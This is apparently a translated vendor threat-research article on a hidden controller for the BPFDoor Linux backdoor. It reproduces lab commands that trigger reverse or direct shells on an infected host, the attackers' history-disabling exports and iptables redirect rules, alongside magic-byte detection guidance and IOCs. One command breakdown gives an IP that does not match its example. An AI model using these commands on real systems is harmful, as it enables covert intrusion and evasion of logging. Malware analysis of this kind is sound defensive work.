BPFDoor隐藏控制器在亚洲和中东的攻击活动分析

本文深入分析了BPFDoor恶意软件的隐藏控制器,揭示了其通过反向连接和直接连接模式渗透网络的技术细节,涉及TCP、UDP和ICMP协议,并提供了Trend Micro的防护方案和IOC信息。

BPFDoor隐藏控制器在亚洲和中东的攻击活动分析

关键要点

  • BPFDoor 是一个国家支持的用于网络间谍活动的后门程序。通过调查BPFDoor攻击,我们发现了一个此前未被观察到的控制器,并将其归因于高级持久威胁(APT)组织Red Menshen(Trend Micro追踪为Earth Bluecrow)。
  • 该控制器可以打开反向连接,允许横向移动,使攻击者能够深入受感染网络,控制更多系统或访问敏感数据。
  • 根据我们的遥测数据,最近的BPFDoor攻击针对电信、金融和零售行业,攻击活动出现在韩国、香港、缅甸、马来西亚和埃及。
  • BPFDoor配备了隐蔽的防御规避技术。Trend Vision One™ Network Security为Trend Micro客户提供TippingPoint入侵防御和Deep Discovery Inspector(DDI)规则,以防范此威胁。

(贡献者:Mohammad Mokbel、Daniel Lunghi、Feike Hacquebord和Carl Jayson Peliña)

引言

BPFDoor(检测为Backdoor.Linux.BPFDOOR)是一种具有强大隐蔽能力的后门程序,其多数能力与使用伯克利包过滤(BPF)技术相关。

在之前的文章中,我们介绍了BPFDoor和基于BPF的恶意软件的工作原理。BPF是一种在操作系统内核虚拟机中执行代码的技术,已有20多年历史,并在2014年eBPF(当时称为扩展BPF)发布后受到广泛关注。

BPFDoor使用BPF的包过滤功能(有时称为经典BPF,cBPF)。BPFDoor恶意软件加载一个过滤器,能够检查操作系统栈上层(如netfilter,Linux防火墙)或任何流量捕获工具中的网络数据包。

BPFDoor加载的过滤器使恶意软件能够被包含“魔法序列”的网络数据包激活——这是由威胁行为者定义的一组字节序列,指示受感染机器上的后门执行操作。其他恶意软件(如Symbiote)也利用BPF提供类似功能。

由于BPF在目标操作系统中的实现方式,魔法数据包即使被防火墙阻止也会触发后门。当数据包到达内核的BPF引擎时,它会激活驻留的后门。虽然这些功能在rootkit中常见,但在后门中并不典型。

这样的后门可以在网络中隐藏很长时间,常规安全扫描(如端口扫描)不会发现任何异常。它还具有规避技术,例如更改进程名称,以及后门不监听任何端口,使系统管理员难以怀疑服务器存在问题。这使得BPFDoor成为长期间谍活动的完美工具。

背景和最新目标

BPFDoor已活跃至少四年,普华永道(PwC)在2021年的一份报告中提到了多起涉及该后门的事件。同一报告还将该后门归因于Red Menshen。

根据我们的遥测数据,该高级持久威胁(APT)组织(Trend Micro追踪为Earth Bluecrow)仍在积极针对亚洲、中东和非洲(AMEA)地区的公司。

日期 国家 行业
2024年12月 韩国 电信
2024年12月 缅甸 电信
2024年10月 马来西亚 零售
2024年9月 埃及 金融服务
2024年7月 韩国 电信
2024年1月 香港 电信

表1. 2024年BPFDoor攻击目标的国家和行业分布

威胁行为者针对上述组织的Linux服务器。他们使用不同的路径隐藏恶意软件,如/tmp/zabbix_agent.log/bin/vmtoolsdsrv/etc/sysconfig/rhn/rhnsd.conf。关于初始入口点的调查仍在进行中。

在受攻击的服务器中,我们发现了用于在横向移动后访问同一网络中其他受影响主机的恶意软件控制器。在某些情况下,多台服务器被入侵。

这表明Earth Bluecrow正在积极控制BPFDoor感染的主机,并上传其他工具供后续使用。此特定控制器文件尚未在其他地方被观察到。

BPFDoor控制器

该控制器揭示了该威胁行为者使用的一些有趣技术细节。

在发送由BPFDoor恶意软件插入的BPF过滤器检查的“魔法数据包”之一之前,控制器会要求用户输入密码,该密码也将在BPFDoor端进行检查。

根据提供的密码和使用的命令行选项,控制器要求受感染机器执行以下操作之一:

  • 打开反向连接
  • 将新连接重定向到特定端口上的shell
  • 确认后门处于活动状态

以下是支持的选项列表:

选项 描述
-b 监听指定的TCP端口(如果收到连接则生成shell)
-c 开启加密
-d 受感染主机上的目标端口(任何开放端口)
-f 为TCP或UDP协议设置不同的魔法序列
-h 目标主机(要控制的受感染机器)
-i ICMP模式
-l 设置受感染机器将连接到的远程主机(反向连接)
-m 将本地IP地址设置为远程主机。覆盖-l选项
-n 不使用密码(检查后门是否存活)
-o 将魔法序列设置为0x7155
-p 设置密码。如果省略,程序将交互式询问
-s 受感染机器将连接到的远程端口(反向连接)
-t 未使用
-u UDP模式
-w TCP模式
-x 设置ICMP的魔法序列

控制器发送的密码必须与BPFDoor样本中的硬编码值之一匹配。在我们找到的与控制器配对的样本中,恶意软件使用固定盐值前缀明文密码,计算其MD5哈希,并与硬编码值比较,如下图所示:

除了使用不同的连接模式外,控制器足够通用,可以使用BPFDoor支持的三种协议(TCP、UDP和ICMP)控制受感染机器。

对于每种协议,它使用硬编码的魔法序列,但也允许攻击者手动设置(选项–f和–x),这表明威胁行为者考虑了更改魔法字节的可能性,并使控制器准备好与不同的BPFDoor样本配合使用。

除了魔法序列,密码必须与目标中运行的BPFDoor样本预期的密码之一匹配。连接可以加密(-c),并且必须提供正确的密码才能使BPFDoor打开shell或监听端口。

两种连接模式已被现有文章(如技术分析)覆盖;同时,我们的研究从控制器的角度提供了视图。

反向连接模式

TCP模式

为了演示,假设以下场景:攻击者从IP地址为192.168.32.133的机器操作,有一台受感染机器的IP地址为192.168.32.156。以下命令将要求目标机器上运行的BPFDoor打开与攻击者机器在端口8000/tcp的加密反向连接会话:

1
./controller -cd 22 –h 192.168.32.156 -ms 8000

以下是命令行的分解:

  • -c 开启加密。这是可选的。
  • -d 22 设置目标端口为22/tcp,该端口应已打开。主机不必接受数据包。这仅用于触发BPFDoor加载的BPF程序,该程序将检查魔法序列。
  • -h 172.16.23.129 是目标的IP地址。
  • -m 将攻击者机器的外部IP地址设置为反向连接的目标主机。
  • -s 8000 设置攻击者机器上监听传入连接的目标端口。

过程如下:

  1. 控制器发送包含魔法字节、远程IP地址和端口(供目标连接)以及密码的激活数据包。
  2. 由于–m和–s 8000选项,控制器监听端口8000/tcp。
  3. 目标读取数据包,如果一切正确,则连接到远程IP地址和端口。如果使用–m,远程IP地址将是控制器的IP地址。
  4. 反向连接被打开。

以下视频演示了我们的模拟,展示了此过程在实际中的工作原理:

视频链接

首先,视频底部显示目标机器。我们首先检查目标的IP地址并运行BPFDoor样本。在同一台机器上,我们使用ss命令再次检查BPF过滤器是否已加载。

然后,在攻击者机器上,我们运行控制器并提供目标的IP地址和我们知道已打开的SSH端口。输入密码后,反向连接启动。

如视频所示,威胁行为者足够谨慎,禁用了shell中键入的命令和MySQL命令行中的日志记录。这是通过以下命令完成的:

1
2
export MYSQL_HISTFILE=/dev/null
export HISTFILE=/dev/null

这表明他们专门寻找运行MySQL服务器软件的目标。

在网络层面,我们可以看到控制器发送的第一个TCP数据包在TCP有效负载的开头包含默认的TCP魔法序列0x5293。它还包含我们键入的“justrobot”密码,如下所示:

图3中高亮显示的行显示以下内容:

  • 52 93 00 00 – 用于TCP的魔法字节:0x5293
  • c0 a8 20 85 – 远程IP地址设置为192.168.32.133,因为我们使用了–m选项
  • 1f 40 – 远程端口设置为8000
  • “justrobot” - 未加密的密码

防御者应监视包含32位大小0x5293的TCP数据包,该序列位于24字节TCP有效负载的开头,后跟32位IPv4地址、16位端口号和以null结尾的ASCII字符串。

但是,需要注意的是,需要更深入的数据包分析以避免误报。此外,魔法字节可以通过–f和–x选项轻松更改。在之前的文章中,我们还介绍了使用序列0x39393939 for TCP的样本。

对于-d选项,任何开放端口(包括UDP端口)都可以工作。

UDP模式

以下命令使用avahi-daemon进程打开的端口5353/udp:

1
./controller -cud 5353 -h 192.168.32.156 -ms 8000

唯一的区别是–u选项导致控制器使用UDP而不是默认的TCP协议。在这种情况下,防御者应查找在UDP有效负载开头包含魔法序列0x7255的UDP数据包。以下截图显示了在Wireshark中捕获的流量:

防御者应查找以32位大小0x7255开头的UDP有效负载。

ICMP模式

如果目标中没有打开TCP或UDP端口(对于面向互联网的服务器来说非常不可能),攻击者仍然可以尝试通过ICMP连接到其目标。可能的命令如下:

1
sudo ./controller -cid 1 -h 192.168.32.156 -ms 8000

虽然端口号(-d选项)是必需的,但在这种情况下无关紧要。

图5显示了包含0x7255魔法序列和密码的ICMP Echo请求(ping)。反向连接使用TCP打开。

对于每次感染,用于验证控制器的密码可能不同。因此,编写依赖于密码的基于文件或网络的检测规则并不有效。

直接模式

为了使威胁行为者更容易,控制器能够直接连接到受感染机器并在其上获取shell,而无需任何反向连接。为实现此目的,可能的命令行是:

1
./controller -cd 22 -h 192.168.32.156

必须提供正确的密码才能激活直接模式。一旦密码被检查,BPFDoor恶意软件使用一系列iptables命令将来自控制器IP地址的新连接重定向到目标端口(在我们的示例中为22/tcp)到受感染主机上42391至43390之间的第一个可用端口,BPFDoor将在该端口提供shell。命令如下:

1
2
/sbin/iptables -I INPUT -p tcp -s <控制器IP地址> -j ACCEPT
/sbin/iptables -t nat -A PREROUTING -p tcp -s <控制器IP地址> --dport <目标端口> -j REDIRECT --to-ports <42391至43390之间的端口>

控制器等待几秒钟,以便更改在受感染机器上生效,然后尝试连接到相同的IP地址和端口(此时 presumably 已重定向)。

为避免中断绑定到TCP端口的合法服务(在我们的示例中为SSH),BPFDoor恶意软件删除先前添加的iptables规则。到它删除规则时,攻击者已经连接并能够运行任何命令。此模式在我们实验室中的工作视频如下:

视频链接

直接连接模式仅适用于TCP。因为控制器期望特定响应,防御者可能会查找包含4字节TCP有效负载(包含字符串“3458”)的出站TCP数据包:

归因

基于TTPs、目标行业、此特定控制器未在其他地方被观察到的事实,以及其与BPFDoor中使用的编码风格和编程语言的相似性,我们将涉及该控制器的活动归因于Earth Bluecrow,置信度为中等。自2022年BPFDoor恶意软件源代码泄露以来,尚未有其他活动被归因于Earth Bluecrow。

展望和结论

BPFDoor使用BPF触发后门。此类过滤器还有其他恶意用途。如前所述,Symbiote恶意软件使用BPF过滤器防止在流量捕获中被检测到。

BPF为恶意软件作者开辟了未探索的可能性窗口。作为威胁研究人员,必须通过分析BPF代码来为未来的发展做好准备,这将有助于保护组织免受BPF驱动的威胁。

此外,重要的是要记住BPF不仅影响Linux系统。例如,有一个针对Solaris编译的BPFDoor样本利用CVE-2019-3010,并且有将eBPF引入Windows的努力。这需要更深入的研究和持续警惕,以获取更多关于在其他环境中发动的攻击的洞察。

使用Trend Vision One™进行主动安全

Trend Vision One™是唯一一个AI驱动的企业网络安全平台,集中了网络风险暴露管理、安全操作和强大的分层保护。这种综合方法帮助您预测和预防威胁,加速在整个数字资产中的主动安全结果。

凭借数十年的网络安全领导力和Trend Cybertron(行业首个主动网络安全AI),它提供了经过验证的结果:勒索软件风险降低92%,检测时间减少99%。安全领导者可以基准化其态势并向利益相关者展示持续改进。

借助Trend Vision One,您能够消除安全盲点,专注于最重要的事情,并将安全提升为创新的战略合作伙伴。

Trend防护

Trend Micro客户通过以下规则和过滤器受到博客条目中提到的威胁的保护:

Trend Vision One™ Network Security

Deep Discovery Inspector (DDI)

  • 5360: ICMP_BPFDOOR_REQUEST.APT

TippingPoint Intrusion Prevention

  • 45583: ICMP: Backdoor.Linux.Bpfdoor.USELVH222 Runtime Detection (Ingress - Activation Packet)
  • 45589: Backdoor.Linux.Bpfdoor.USELVH222 Runtime Detection (Ingress - Activation Packet)
  • 45590: Backdoor.Linux.Bpfdoor.USELVH222 Runtime Detection (Ingress - Activation Packet)

Trend Vision One Threat Intelligence

为了领先于不断发展的威胁,Trend Vision One客户可以访问一系列情报报告和威胁洞察。威胁洞察帮助客户在网络安全威胁发生之前保持领先,并通过提供有关威胁行为者、其恶意活动及其技术的全面信息,使他们能够为新兴威胁做好准备。通过利用此情报,客户可以采取主动步骤保护其环境、降低风险并有效应对威胁。

Trend Vision One Intelligence Reports App [IOC Sweeping]

  • BPFDoor IOC used in Earth Bluecrow campaigns

Trend Vision One Threat Insights App

  • Threat actor: Earth Bluecrow
  • Emerging Threats: BPFDoor’s Hidden Controller Used Against AMEA Targets

Hunting Queries

Trend Vision One Search App

Trend Vision One客户可以使用搜索应用程序匹配或搜索其环境中与博客帖子中提到的恶意指标匹配的数据。

1
(tags: "XSAE.F11533" OR malName: BPFDOOR)

所有Trend客户应查找检测为以下内容的文件:

1
Backdoor.Linux.BPFDOOR

危害指标(IOC)

此条目的危害指标可在此处找到。

IOC链接

标签

恶意软件 | 端点 | 研究 | 文章、新闻、报告

作者

Fernando Mercês
高级威胁研究员

相关文章

  • Gunra勒索软件组织发布高效的Linux变种
  • 预防零点击AI威胁:来自EchoLeak的洞察
  • 解锁Amazon Security Lake的主动安全能力

查看所有文章


注意:本文内容基于Trend Micro研究团队的分析,旨在提供技术洞察和防护建议。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计